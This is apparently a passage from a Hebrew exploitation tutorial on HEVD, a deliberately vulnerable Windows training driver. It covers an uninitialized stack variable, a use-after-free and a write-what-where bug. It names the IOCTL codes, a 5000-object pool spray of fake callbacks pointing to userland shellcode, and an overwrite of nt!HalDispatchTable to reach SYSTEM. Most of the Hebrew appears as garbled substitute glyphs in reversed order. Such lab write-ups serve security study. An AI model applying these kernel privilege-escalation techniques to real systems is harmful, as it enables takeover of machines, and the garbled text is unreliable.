 ˸˷˵˟ ˥˪˷ˮ ,˭˩ˬ ˶˥˞˪IOCTL  ˫˰˪ ˢ˞˧˶˵˪ ˪˧˟ˣˬ˷ ˡˣ˵ˢ-TriggerUninitializedStackVariable ˟ˣ˷˥ .

 ˡˣ˞ˬ˞˪  ˸˞ ˯ˣ˶ˡ˪ ˞˪ ˸ˮˬ ˪˰ ˭˧˟˪ ˭˧˟ ˸˧˪ˮ˶˵ˢ ˸˧ˮ˯˥ˬˢ ˸˞ ˸ˣˮ˷˪ ˢ˪ˣ˩˧˷ ˢ˪ˣ˰˲ ˫ˣ˷ ˰˴˟˪

ˢ ˸˪˧˥˸˟ ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˫˵ˬˮ .ˣˮ˯˯˧˶˷ ˫˧˩˶˰ˢ-shellcode˟ ˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮˣ ,-VM  ˢ˪˰˸ ˰ˡ˧ˬ .ˣˮ˪˷

˟ ˢ˶˧˴˰ˢ ˸ˡˣ˵ˮ-WinDbg, ˢ ˸˪˧˥˸˟ ˸ˬ˵ˣˬˬ ˞˧ˢ˷ ˢ˞˶ˮ ˢ˸ˣ˞ ˭˥˟ˮ ˫˞ˣ-shellcode  ˭˸˧ˮ) ˣˮ˪˷

˭ˢ ˸˞ˤ ˸ˣ˞˶˪ ˟ ˸ˣˮˮˣ˟˸ˢ ˸˶ˤ˰˟-Disassembly ˟ ˸ˬ˵ˣˬˬ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ˭ˢˣ ,ˢ˶˧˴˰ˢ ˸ˡˣ˵ˮ ˶˥˞˪-

userland˟ ˭ˮˣ˟˸ˮ ˫˞ ,˭˩ ˣˬ˩ .(-backtrace ˬ ˣˮ˞˶˵ˮ˷ ˢ˞˶ˮ-HEVD!TriggerUninitializedStackVariable ,

:ˣˮ˧˲˧˴˷ ˧˲˩ 

 

ˢ ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˭˥˟ˮ-cmd ˢ ˸˷˵˟ ˫ˣ˧˯ ˶˥˞˪ ˣˮ˸˥˸˲˷-IoCtl: 
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Use after Free 

 ˫˰ ˣˮ˧˵ˣ˯˧˰ ˫ˣ˧˯˪ ˫˧˟ˣ˶˵ ˣˮ˞HEVD ˸ˣ˷˪ˣ˥ ˪˰ ˶˟ˡ˪ ˧˪˟ˬ ˸ˣ˷˪ˣ˥ ˪˰ ˶˟ˡ˪ ˶˷˲˞ ˨˧˞ˣ ,Use after 

Free  ˭˪ˢ˪)UaF?( 

 ˸ˣ˷˪ˣ˥ ˪˰ ˶˟˰˟ ˶ˬ˞ˮ ˢ˟˶ˢUse after Freeˢ ˭ˣ˧˪˧ˠ˟ˣ ,-60 ˫˯˶ˣ˲ ˭˧ˤˠˬˢ ˪˷  ˸ˣ˷˪ˣ˥˟ ˵˯ˣ˰ˢ ˶ˬ˞ˬ

UaF  ˫˷ˢ ˸˥˸ ˭˪ˣ˴˧ˮˣ"Use Freed Memory For Fun And Profit " ˧˶ˣ˥˞ˬ ˭ˣ˧˰˶ˢ .˶˞˧ˣ˶˟ ˫˥ˮˬ ˸˞ˬ

 ˸ˣ˷˪ˣ˥UaF  ˢ˴˵ˬ ˞˧ˢ ,˸˧ˮ˩˸ˢ ˸˴˧˶ ˨˪ˢˬ˟ :ˢˤ˩ ˞ˣˢchunk ˬ ˣ˟ ,˭ˣ˶˩˧ˤ ˪˷ ˸ˣ˟ˣ˸˩ ˣˬ˩ ˧˦˧˶˵ ˰ˡ˧

 ˸ˣˬˣ˵ˬ˟ .(˧˪˟ˣ˪ˠ ˪˰ ,ˢˬˠˣˡ˪) ˸˧ˮ˩˸˟ ˫˧˶˥˞ ˫˧˵˪˥˪ ˢ˷˧ˠˮ˷ ˢ˶ˣ˴˟ ˣ˸˟ˣ˸˩ ˸˞ ˸˶ˬˣ˷ˣ ,˸ˣ˧˴˵ˮˣ˲

˟ ˫˧˧˵˷ ˰ˡ˧ˬˢ ˨ˬ˯ ˪˰ ,ˣ˪˪ˢ ˸ˣ˧˴˵ˮˣ˲˪ ˸˞˶ˣ˵ ˞˧ˢ ,˸˧ˮ˩˸˟ ˫˧ˮˣ˷-chunk ,˫˧ˬ˧ˣ˯ˬ ˢ˴˧˶ ˧˷˧˥˶˸˟ .

ˢ ˸˞ ˸˶˶˥˷ˬ ˸˧ˮ˩˸ˢ-chunk ˶ˣˬ˷ˢ ˰ˡ˧ˬ˟ ˷ˬ˸˷ˢ˪ ˢ˶ˣˬ˞ ˞˪ˣ  ˢ˴˵ˣ˧˷ ˡ˰ ˧˪˟ˣ˪ˠ˟chunk  .˷ˡ˥

 ˢ˴˧˶ˢ ˧˷˧˥˶˸ ˪˪˩ ˪˰ ˢ˟˷˥ˬ ˶˯ˣ˥ ˸ˣ˟˵˰˟ˣ ˪ˣˡˠ ˡˣ˵ ˶ˠ˞ˬ ˪ˣˢ˧ˮ˟ ˧˷ˣ˵ˢ ˸ˣ˟˵˰˟ ,˫˧˸˧˰˪

ˢ ,˷ˬ˸˷ˬˢ ˪˷ ˫˧ˣ˯ˬ ˦˪˵˪ ˫˞˸ˢ˟ ˣ˟ˣ ˟˴ˬ ˭˩˸˧ ,˫˧˧˶˷˲˞ˢ-chunk  ,˶˶˥ˣ˷˧ ˧˦˧˶˵ˢ ˰ˡ˧ˬˢ ˟˷ˣ˧ ˣ˟

 ˞ˣ˶˵˪ ˠˣˢˮ ˣ˪˞˩ ˫˧˶˵ˬ˪ .˸˞ˤ ˪˩˟ ˣ˧˪˞ ˸˷ˠ˪ ˢ˯ˮ˸ ˸˧ˮ˩˸ˢ ˨˞Use after Free. 

 ˸ˣ˷˪ˣ˥ ˪˰ ˫˧˶˟ˡˬ˷˩ ,˟ˣ˶˪UaF  ˫ˣ˶ˠ˪ ˭˸˧ˮ ˢ˟˷ ˢ˷˪ˣ˥ ˞˧ˢ ˢ˷˪ˣ˥ˢˣ ,˫˧˦˵˧˧˟ˣ˞ ˪˰ ˫ˠ ˶˟ˡ˪ ˠˣˢˮ

 ˭ˣˡˮ ˞˪ ˭˩˪ˣ ,˶˸ˣ˧ ˦ˣ˷˲ ˣˮ˪˷ ˢ˶˵ˬˢ .ˢ˶˶˥˧˷ ˞˧ˢ˷ ˦˵˧˧˟ˣ˞ ˪˷ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣˡˣ˸ˬ˪ ˞ˣ˶˵˪ ˸˧ˮ˩˸˪

.ˣ˪˞ ˫˧˞˷ˣˮ˟ 

 ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮUaF ˣ˞˟ ˢ˞˴˵ˢ ˶ˣ˴˧˪ ˢ˥˪˴ˢ ˪˰ ˯˯˟˸ˬ ,ˢ˟ ˢ˷ˬ˸˷ˢ ˸˧ˮ˩˸ˢ˷ ˢ˞˴˵ˢˢ ˪˷ ˪ˡˣˠ ˣ˸

 ˪˰ ˭˞˩ ˫˧˩ˬ˸˯ˬ .ˢ˰˧˟˴ˬ ˢ˧˪˞ ˢ˵˧ˤ˥ˬ ˸˧ˮ˩˸ˢ˷ ˸˧˶ˣ˵ˬˢ ˢ˞˴˵ˢˢ ˸˞ ˪˟˵˪ ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˨˩ˣ

ˢ ˪˷ ˢ˞˴˵ˢˢˣ ˶ˣ˶˥˷ˢ ˫˸˧˶ˣˠ˪˞-Pool/Heap ˢ˷ˡ˥ˢ ˢ˞˴˵ˢˢ .˫˧ˬˡˣ˵ˢ ˫˧˲˧˰˯˟ ˣˮ˶˵˯ ˣ˸ˣ˞ ,

˴˵ˢ ˶ˣ˴˧˪ ˭˸˧ˮ ˨˩ˣ ,ˢˮ˩ˣ˸˟ ˦˪ˣ˷ ˷ˬ˸˷ˬˢ˷ ˣˤ˩ ˸ˣ˧ˢ˪ ˢ˩˧˶˴ ˣˬ˩ ˢˮ˟ˬ ˣ˸ˣ˞ ˸˪˰˟ ˸˲˧ˣˤˬ ˢ˞

ˢ ˸˰˟˷ ˨˩ ,˸˧˶ˣ˵ˬˢ ˢ˞˴˵ˢˢ-UaF  .˳˧˶ˢ˪ ˭˧˧ˮˣ˰ˬ ˱˵ˣ˸ˢ˷ ˡˣ˵˪ ˳ˣ˲˵˸ ˞˪˞ ,˯ˣ˶˵˸ ˞˪ ˸˧ˮ˩˸ˢ

ˢ ˸˞ ˯˯˶˪ˬ ˯ˣˮˬ ˭˧˞ ˸˶˶˥ˣ˷ˬˢ ˢ˞˴˵ˢˢ ˸˞ ˪˟˵˪ ˸ˮˬ ˪˰ ˟ˣ˶˪-Pool/Heap  ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˫˞ ˧ˣ˪˸)

 ˸˧ˮ˩˸ ˪˴ˮ˪User-Mode  ˪˧˟˷˟)RCE ˟ ˳˶˷ ˟˧˩˶ ˣ˞ (ˢˬˠˣˡ˪-Kernel-Mode  ˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˨˶ˣ˴˪)

ˢ ˸˞ ˯˪˩˞˸ ˭ˢˬ ˸˥˞˷ ˢˣˣ˵˸˟ ˸ˣ˧˟˧˦˵˧˲ˢ ˸ˣ˞˴˵ˢ˟ ((ˢˬˠˣˡ˪-chunk  ˪˴ˮ˪ ˫˧˴ˣ˶ ˣˮ˞˷ ˢ˶˦ˬˢ ˣ˧˪˞

.˰˧˟˴ˬ ˢ˵˧ˤ˥ˬ 

˪ ˫ˣ˶ˠ˪ ˭˸˧ˮ ˡ˴˧˩ ˭˧˟ˮ ,˸˧˷˞˶-UaF ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮ ,ˢ˪˧˥˸ .AllocateUaFObject ˞˪ ˢ˧˴˵ˮˣ˲ˢ .

ˢ ˡˣ˵ˣ ˫˧˦ˮˬˣˠ˶˞ ˱˞ ˸˪˟˵ˬ-IOCTL 0x222013  ˸ˣ˪ˣ˰˲ ˷ˣ˪˷ ˸˰˴˟ˬ ˢ˧˴˵ˮˣ˲ˢ .ˢ˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠ˧

 ˪˷ ˢ˞˴˵ˢ ˸˷˵˟ˬ ,ˢ˪˧˥˸ :˸ˣ˧˶˵˧˰0x58 ˟ ˫˧˸˟-Non-Paged Pool  ˠ˸ˢ ˫˰ΨIŀŎƪΩ. 

 

  

https://www.digitalwhisper.co.il/files/Zines/0x3C/DW60-1-UaF.pdf
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˟) ˣ˸˪˧˥˸˟ ˫˧ˬ˵ˬˬˣ ˦˵˧˧˟ˣ˞ˢ ˸˞ ˫˧˪˥˸˞ˬ ,ˢ˥˧˪˴ˢ ˢ˞˴˵ˢˢˣ ˢˡ˧ˬ˟-DWORD  (ˢ˞˴˵ˢ˟ ˭ˣ˷˞˶ˢ

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞-Callback ˮˣˬ˸˟ ˭ˬˣ˯ˬ) ˣ˪˷ ˭˧˵˸ˢ:(ˢ 

 

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˫˧˵˧˸˰ˬ ,˭˩ˬ ˶˥˞˪-Chunk  ˧˪˟ˣ˪ˠˢ ˨ˣ˸˪ ˦˵˧˧˟ˣ˞ˢ ˸˞ ˪˧˩ˬ˷

g_UseAfterFreeObject: 

 

 ˪˷ ˢˮ˧˥˟ˬx-ref :˸ˣ˧˴˵ˮˣ˲ ˧˸˷ ˡˣ˰˟ ˷ˣˬ˧˷˟ ˞˴ˬˮ ˞ˣˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,˧˪˟ˣ˪ˠ˪ ˫˧UseUaFObject x-

FreeUaFObjectˬ ˪˧˥˸ˮ .-UseUaFObject˧˶ˡˢ ˫˰ ˶˷˵˸ˮ ˫˞ ˞˶˵˸ ˢ˧˴˵ˮˣ˲ˢ .ˢ ˡˣ˵ ˫˰ ˶˟˧-IOCTL 

0x222017:ˢ˧˴˵ˮˣ˲ˢ ˭˪ˢ˪ .˫˧˦ˮˬˣˠ˶˞ ˸˪˟˵ˬ ˞˪ˣ , 

 

 ˫˞˷ ˭˟ˣˬ˩ .˪˥˸ˣ˞ˬ ˧˪˟ˣ˪ˠˢ˷ ˢ˵˧ˡ˟ ,ˢˮˣ˷˞˶ˢ :˸ˣ˵˧ˡ˟ ˧˸˷ ˸˰˴˟ˬ ˢ˧˴˵ˮˣ˲ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ

˪ ˢ˞˧˶˵ ˶˟˩ ˢ˰˴˟˸ˢ-AllocateUaFObjectˢ˷ ˫˧˵ˡˣ˟ ,˭˩ˬ ˶˥˞˪ .˪˥˸ˣ˞ˬ ˢ˧ˢ˧ ˧˪˟ˣ˪ˠˢ ,-DWORD 

ˣ˪ˠˢ ˢ˧˪˞ ˸˟ˣ˸˩˟ ˭ˣ˷˞˶ˢˢ ˞ˣˢ ˞˪ˢ) ˰˧˟˴ˬ ˧˪˟-DWORD ˟ ˭ˣ˷˞˶ˢ-chunk  (˦˵˧˧˟ˣ˞ˢ ˸˞ ˠ˴˧˧ˬ˷

ˬ ˢˮˣ˷-0˪ ˢ˞˧˶˵ ˧ˢˣˤ .ˣ˪ ˫˧˞˶ˣ˵ ,˭˩ˣ ˢˡ˧ˬ˟ .-Callback .˦˵˧˧˟ˣ˞ˢ ˪˷ 

 ˸˞ ˭˥˟ˮ ,ˢ˸˰FreeUaFObjectˢ ˡˣ˵ .-IOCTL  ˞ˣˢ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠ˧˷0x22201B ˭˪ˢ˪ .

:ˢ˧˴˵ˮˣ˲ˢ 
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 ˢ˷ˣ˰ ˢ˧˴˵ˮˣ˲ˢ˷ ˢˬ ˪˩˷ ˸ˣ˞˶˪ ˭˸˧ˮ ˨˞ ,(˶˟˩ ˢ˴˵ˣˢ ˞ˣˢˣ ˢˡ˧ˬ˟) ˦˵˧˧˟ˣ˞ˢ ˸˞ ˶˶˥˷˪ ˞ˣˢ

˪ ˢ˞˧˶˵ ˢ˰˴˟˸ˢ ˫˞˷ ˶ˬˣ˞˷ ˢˬ ,˦˵˧˧˟ˣ˞˪ ˰˧˟˴ˬˢ ˸˞ ˸˯˲˞ˬ ˞˪ ˢ˧˴˵ˮˣ˲ˢ-AllocateUaFObject ,

˪ ˢ˞˧˶˵ ˢ˧˶˥˞-FreeUaFObject ˪ ˢ˞˧˶˵ ˤ˞ˣ-UseUaFObject ˢ˧˴˵ˮˣ˲ˢ ˤ˞ ,UseUaFObject  ˭˧˧ˡ˰

˪ ˞ˣ˶˵˪ ˢ˯ˮ˸ˣ ˢ˶˶˥ˣ˷ ˞˪ ˢ˞˴˵ˢˢ˷ ˟ˣ˷˥˸-Callback ˟ ˶ˡˠˣˬ˷-chunk  ˸˞ˤˣ ,ˣˮ˸˦˧˪˷˟ ˞˪ ˶˟˩˷

˷ ˭ˣˣ˧˩ˬ-g_UseAfterFreeObject ˟ ˯˲ˣ˞ˬ ˞˪-FreeUaFObject. 

ˢ ˸˞ ˸ˣ˴˵ˢ˪ ˥˧˪˴ˮ ˫˞˷ ˶ˣ˶˟-chunk ˟ ˟ˣ˸˩˪ˣ ˶˶˥ˣ˷˷-DWORD ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˣ˪˷ ˭ˣ˷˞˶ˢ-

shellcode :˸ˣ˧˰˟ ˧˸˷ ˣˮ˪ ˷˧ ˨˞ ,˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˰˴˟˪ ˪˩ˣˮ ,ˣˮ˪˷ 

1.  ˪˷ ˢ˞˴˵ˢ ˷˵˟˪ ˨˶ˡ ˣˮ˞˴ˬ ˞˪ ˭˧˧ˡ˰0x58 .ˢ˪˷ ˭˩ˣ˸˟ ˫˧˦˪ˣ˷ ˣˮ˥ˮ˞˷ ˫˧˸˟ 

2. ˢ ˸˞ ˪˟˵ˮ˷ ˣˮ˪ ˥˦˟ˣˬ ˞˪ ˭˧˧ˡ˰ ,˸˥˞ ˢ˞˴˵ˢ ˰˴˟˪ ˥˧˪˴ˮ ˫˞ ˫ˠ-chunk ˷-

g_UseAfterFreeObject .ˣ˧˪˞ ˰˧˟˴ˬ 

˟ ˧˸˶˥˟ ˸˧˸ˣ˶˧˶˷) ˸ˣ˟˶ ˸ˣ˞˴˵ˢ ˶ˣ˴˧ˮ :˯ˣ˯˧˶ ˸˶ˤ˰˟ ,ˣˮ˧˧˴˷ ˧˲˩ ,˶ˣ˸˲˪ ˭˸˧ˮ ˢ˧˧ˮ˷ˢ ˢ˧˰˟ˢ ˸˞-

5000˟ ˷ˬ˸˷ˢ˪ ˸ˣ˪ˣ˩˧ ˸˧˪˞˧˴ˮ˦ˣ˲˷ (-chunk ˷-g_UseAfterFreeObject  ˭ˢˬ ˸˥˞ˣ ,ˣ˧˪˞ ˰˧˟˴ˬ

 ˫˷˟ ,˶˟˧˧˶ˡ˟ ˸˶˥˞ ˢ˧˴˵ˮˣ˲˟ ˭ˮˣ˟˸ˮ ,ˢˮˣ˷˞˶ˢ ˢ˧˰˟ˢ ˸˞ ˶ˣ˸˲˪ ˸ˮˬ ˪˰ .ˣ˸ˣ˞ ˪˟˵˸

AllocateFakeObject: 

 

˷ ˢ˞˴˵ˢ ˸˶˴ˣ˧ ˞˧ˢ :ˣˮ˪˷ ˢˮˣ˷˞˶ˢ ˢ˧˰˟ˢ ˪˰ ˡˣ˞ˬ ˢ˥ˣˮ ˢ˶ˣ˴˟ ˣˮ˪ ˢˮˣ˰ ˢ˧˴˵ˮˣ˲ˢ ˪0x58  ˫˧˸˟

ˢ ˡˣ˵ .ˣ˟ ˫˧˦˪ˣ˷ ˣˮ˞˷ ˶˲˞˟ ˢ˩ˣ˸˪ ˢ˵˧˸˰ˬˣ-IOCTL  ˞ˣˢ ˣˤˢ ˢ˧˴˵ˮˣ˲˪ ˢ˞˧˶˵˪ ˪˧˟ˣ˧˷0x22201F .

 ˸ˣ˷˵˟ ˸˥˧˪˷ ˸˶ˤ˰˟IOCTL ˟ ˸˧˸ˣ˶˧˶˷ ˧˸˶˥˟ ,˶ˣˬ˞˩) ˶˟˧˧˶ˡ˪ ˸ˣ˟˶-5000ˢ ˡˣ˵ ˫˰ (-IOCTL  ˪"ˮˢ

˟˷ ˶˲˞˟ ˫˰ˣ-DWORD ˢ ˪˷ ˸˟ˣ˸˩ˢ ˣ˪˷ ˭ˣ˷˞˶ˢ-shellcode ˣ˶˧˟˯˟ ˪˩ˣˮ ,ˣˮ˪˷ ˡˣ˞ˬ ˢˢˣ˟ˠ ˸

˷ ˢ˞˴˵ˢˢ ˪˰ ˦˪˸˷ˢ˪-g_UseAfterFreeObject ˢ ˸˞ ˫˵ˬ˪ˣ ˢ˧˪˞ ˰˧˟˴ˬ-shellcode ˢ ˶ˣ˸˟ ˣˮ˪˷-

Callback ˢ ˡˣ˵ ˸˞ ˥˪˷ˮ˷˩ ,˭˩ˬ ˶˥˞˪ .˧˟˧˦˵˧˲ˢ ˦˵˧˧˟ˣ˞ˢ ˪˷-IOCTL ˪ ˢ˞˧˶˵˪ ˪˧˟ˣ˧˷-

UseUaFObject˪ ˞˶˵˧ ˶˟˧˧˶ˡˢ˷ ˞ˣˢ ˪˰ˣ˲˟ ˢ˶˵˧˷ ˢˬ ,-shellcode .ˣˮ˪˷ 
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ˢ ˨˧˪ˢ˸ ˸˞ ˫˩˯ˮ:˪ˣ˴˧ˮ 

1. ˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠˮ ,ˢ˪˧˥˸-AllocateUaFObject ˢ ˡˣ˵ ˸˶ˤ˰˟-IOCTL 0x222017 ˢ˴˵˸ ˢ˧˴˵ˮˣ˲ˢ .

chunk ˟-Non-Paged Pool ˟ ˣ˸˟ˣ˸˩ ˸˞ ˶ˣˬ˷˸ˣ-g_UseAfterFreeObject. 

2. ˪ ˢ˞˧˶˵ ˸˶ˤ˰˟ ˢ˞˴˵ˢˢ ˶ˣ˶˥˷˪ ˫ˣ˶ˠˮ ,˭˩ˬ ˶˥˞˪-FreeUaFObject ˢ ˡˣ˵ ˸˥˧˪˷ ˫˰)-IOCTL 

0x22201B˥˷˸ ˢ˧˴˵ˮˣ˲ˢ .( ˸˞ ˯˲˞˸ ˞˪ ˨˞ ˢ˞˴˵ˢˢ ˸˞ ˶˶g_UseAfterFreeObject. 

3.  ˞˶˵ˮ5000 ˪ ˫˧ˬ˰˲-AllocateFakeObject ˢ ˡˣ˵ ˸˶ˤ˰˟-IOCTL 0x22201F ˵˲˯ˮ ,˦˪˵ ˶˲˞˟ ˶ˣ˸˟ .

ˢ˷ ˧˟˧˦˵˧˲ ˦˵˧˧˟ˣ˞-DWORD ˢ ˪˷ ˸˟ˣ˸˩ˢ ˞ˣˢ ˣ˪˷ ˭ˣ˷˞˶ˢ-shellcode  ˢˢˣ˟ˠ ˸ˣ˶˧˟˯˟ .ˣˮ˪˷

ˢ ˸˞˴˵ˢ˪ ˫ˣ˶ˠ˸ ˸ˣ˞˧˶˵ˢ ˸˥˞ ,ˡˣ˞ˬ-chunk ˷- g_UseAfterFreeObject  ˢ˟˧˸˩˪ˣ ,ˣ˧˪˞ ˰˧˟˴ˬ

.ˣ˧˪˞ 

4. ˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠˮ-UseUaFObject ˢ ˡˣ˵ ˸˶ˤ˰˟-IOCTL 0x222017ˢ˷ ˭ˣˣ˧˩ˬ .-chunk ˷-

g_UseAfterFreeObject ˢ ˣ˟ ,ˣˮ˶˴˧ ˣˮ˞˷ ˧˟˧˦˵˧˲ ˦˵˧˧˟ˣ˞ ˪˧˩ˬ-Callback ˢ ˞ˣˢ-shellcode ,

˪ ˞˶˵˧ ˶˟˧˧˶ˡˢ-shellcode ˟ ˞˴ˬˮ˷) ˣˮ˪˷-userland(.˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˰˴˟˪ ˪˩ˣˮˣ , 

ˢ ˸˪˧˥˸˟ ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˫˵ˬˮ ,ˣˮ˧˪ˠ˶ˢ˩ .ˢ˸ˣ˞ ˳˧˶ˮˣ ,ˣ˪˪ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˸˰˴˟ˬ˷ ˸˧ˮ˩˸ ˫ˣ˷˶ˮ-

shellcodeˣ ,˸˧ˮ˩˸ˢ ˸˞ ˳˧˶ˮ .-WinDbg :ˣˮ˪˷ ˢ˶˧˴˰ˢ ˸ˡˣ˵ˮ˟ ˳ˣ˲˵˧ 

 

:ˢ˴˧˶ˢ ˱ˣ˯˟ ˣˮ˪˷ ˨˧˪ˢ˸ˢ ˳˶ ˭˸˧˞ ˸ˣ˞˷˶ˢˢ ˸˞ ˭˥˟ˮ 

 

˸ˣ˷˪ˣ˥ ˪˰ ˡˣ˰ ˞ˣ˶˵˪ ˭˸˧ˮ ,˶ˣˬ˞˩ Use-After-Free .˶˞˧ˣ˶˟ ˫˥ˮˬ ˪˷ ˢ˪ˣ˰ˬˢ ˶ˬ˞ˬ˟ 
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Arbitrary Memory Overwrite 

˟ ˢˮˣ˶˥˞ˢ ˢ˷˪ˣ˥ˢ ˸˶˧˵˯˪ ˣˮ˰ˠˢ ˪˟˞ ,˭˧ˬ˞ˢ˪ ˢ˷˵-HEVD ˟ˣ˶˪ ˸˧˯˥˧ ˢ˪˧˪˵ˣ ˢ˦ˣ˷˲ ˣˤˢ ˢ˷˪ˣ˥ˢ .

˟ ˸˞˴ˬˮ ˞˧ˢˣ ,˸ˣ˶˥˞ˢ-HEVD!TriggerArbitraryOverwrite˪˟˵˧ ˶˟˧˧˶ˡˢ ˶˷˞˩ ˞˶˵˸ ˢ˧˴˵ˮˣ˲ˢ .  

 ˸˷˵˟IOCTL  ˞ˣˢ ˢ˪˷ ˡˣ˵ˢ˷0x22200B:ˢ˧˴˵ˮˣ˲ˢ ˭˪ˢ˪ . 

 

˪ ˦˪˵ ˶˲˞˟˩ ˣˮ˵˲˧˯˷ ˶˲˞˟ˢ ,˪˧ˠ˶˩ ,˞ˣˢ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ˷ ˦ˮˬˣˠ˶˞ˢ-DeviceIoControl ˭˸˧ˮ .

 ˢˮ˟ˬ˪ ˰˧˟˴ˬ ˪˞˩ ˣ˧˪˞ ˸˯˥˧˧˸ˬ ˢ˧˴˵ˮˣ˲ˢ˷ ˸ˣ˞˶˪_WRITE_WHAT_WHERE:ˢˮ˟ˬˢ ˸˞ ˭˥˟ˮ . 

 

 ˪ˡˣˠ˟ ˢˮ˟ˬ ˞ˣˢ ˢˮ˟ˬˢ8  ˪˩˷ ˸ˣˡ˷ ˧˸˷ˬ ˟˩˶ˣˬˢ ˫˧˸˟ ˪˷ ˪ˡˣˠ˟ ˞˧ˢ ˭ˢˬ ˸˥˞DWORD ˸ˣˣˢˬˣ ,

 ˢˡ˷ˢ .˸ˣ˟ˣ˸˩˪ ˰˧˟˴ˬWhere  ˢˡ˷ˢˣ ,˰ˡ˧ˬ ˟ˣ˸˩˪ ˢ˴˶ˮ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˞ˣˢWhat  ˪˷ ˸˟ˣ˸˩ˢ ˞ˣˢ

 ˟ˣ˸˩˪ ˫ˣ˷˶˪ ˢ˴˶ˮ ˶˷˞ ˰ˡ˧ˬˢWhereˢ ˧ˮ˲˪˷ ˢ˶ˣ˷˟ .-return ˰ˡ˧ˬˢ ˪˷ ˢ˟˧˸˩ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ ,

.˸˟ˣ˸˩˪ 

 ˧˸ˣ˶˧˶˷ ˰ˡ˧ˬ ˫ˣ˷˶˪ ˫˧˪ˣ˩˧ ˣˮ˞ ˭ˢ˟˷ ˸ˣ˷˪ˣ˥˪ ˸ˣ˷˪ˣ˥ ˫˧˞˶ˣ˵ ˸˧˸ˣ˶˧˶˷ ˸˟ˣ˸˩˪write-what-where ,

 ˣ˞arbitrary-overwrite˷ ˞ˡˣˣˬ ˞˪ ˞˧ˢ˷ ˨˩˟ ˢ˰˧ˠ˲ ˪"ˮˢ ˢ˧˴˵ˮˣ˲ˢ .-What/Where ˟ ˫˧˞˴ˬˮ-

userlandˢˬ ˧˸ˣ˶˧˶˷ ˰ˡ˧ˬ ˸˟˧˸˩ ˸˶˷˲˞ˬ ˨˩ˣ ,-userland  ˪˷ ˢ˲˪ˡˢ ˭˩ˣ) ˧˪ˮ˶˵ˢ ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ˪

.(˷ˬ˸˷ˬ ˭ˣ˶˩˧ˤ˪ ˧˪ˮ˶˵ ˭ˣ˶˩˧ˤˬ ˰ˡ˧ˬ 

˞ˢ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ˟ ˶ˠ˸write-what-where  ˣˮ˪˷ ˢ˶˦ˬˢ .˟ˣ˸˩˪ ˢ˴˶ˮ ˢ˧˪˞ ˸˟ˣ˸˩ˢ ˢˬ ˭˧˟ˢ˪ ˞ˣˢ

ˢˬ ˢ˧˪˞ ˢ˞˧˶˵˪ ˫ˣ˶ˠ˪ ˭˸˧ˮ˷ ˸˟ˣ˸˩ ˸ˣ˧ˢ˪ ˢ˩˧˶˴-userland ˸ˮˬ ˪˰) ˷ˣˬ˧˷˟ ˸˞˴ˬˮ ˞˪ˣ ˦˰ˬ˩˷ˣ ,

˪ ˫ˣ˶ˠˮ ˞˪˷-BSOD ˠ˧˴ˢ˷ ˢ˦˧˷ˢ ˪˰ ˨ˬ˸˯ˮ ˣˮ˞ .(Ruben Santamarta ˬ ˣ˶ˬ˞ˬ˟-2007 ,ά9ȄǇƭƻǘƛƴƎ 

/ƻƳƳƻƴ Cƭŀǿǎ ƛƴ 5ǊƛǾŜǊǎέ˟ ˢ˧˧ˮ˷ˢ ˸˟ˣ˸˩ˢ ˞˧ˢ ˢ˶˦ˬˢ ,ˠ˧˴ˬ ˞ˣˢ˷ ˢ˦˧˷˟ .-

nt!HalDispatchTable. 
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-˟Windowsˢ ,-HAL )Hardware Abstraction Layer .ˢ˶ˬˣ˥ˢ ˪˰ˬ ˢ˧˴˵˶˦˯˟˞ ˸˟˩˷˩ ˸˷ˬ˷ˬ (

˪ ˶˷˲˞ˬ ˞ˣˢˣ ,ˢ˶ˬˣ˥ ˪˩ ˶ˣ˟˰ ˢˢˤ ˢ˟˩˷ˢ ˪˷ ˵˷ˬˬˢ-NT ˠˣ˯ˬ ˸ˣ˧ˢ˪ ˶ˬˣ˪˩ ,"ˡ˧˧ˮ" ˸ˣ˧ˢ˪ ˪ˮ˶˵ ˪

ˢ ˶˷˞˩ ,˧ˣˮ˧˷ ˧˪˟ ˢˮˣ˷ ˢ˶ˬˣ˥ ˪˰ ˳ˣ˶˪-HAL ˢ .ˢˮ˸˷ˬ˷ ˡ˧˥˧ˢ ˵˪˥ˢ ˞ˣˢ-API ˢ ˪˷-HAL  ˡˠˣ˞ˬ

 ˢ˪˟˦˟nt!HalDispatchTableˢ ˪˷ ˸ˣ˧˴˵ˮˣ˲ˣ ,-executive  ˶ˣ˧˞ ˰˧˲ˣˬ ˶ˬ˞ˬˢ ˸˪˧˥˸˟ .ˢ˟ ˸ˣ˶ˤ˰ˮ

ˢ ˭˧˟ ˢ˧˩˶˶˧ˢˢ ˸˞ ˶˧˟˯ˬˢ-HAL .˸˩˶˰ˬˢ ˧˟˧˩˶ ˶˞˷˪ 

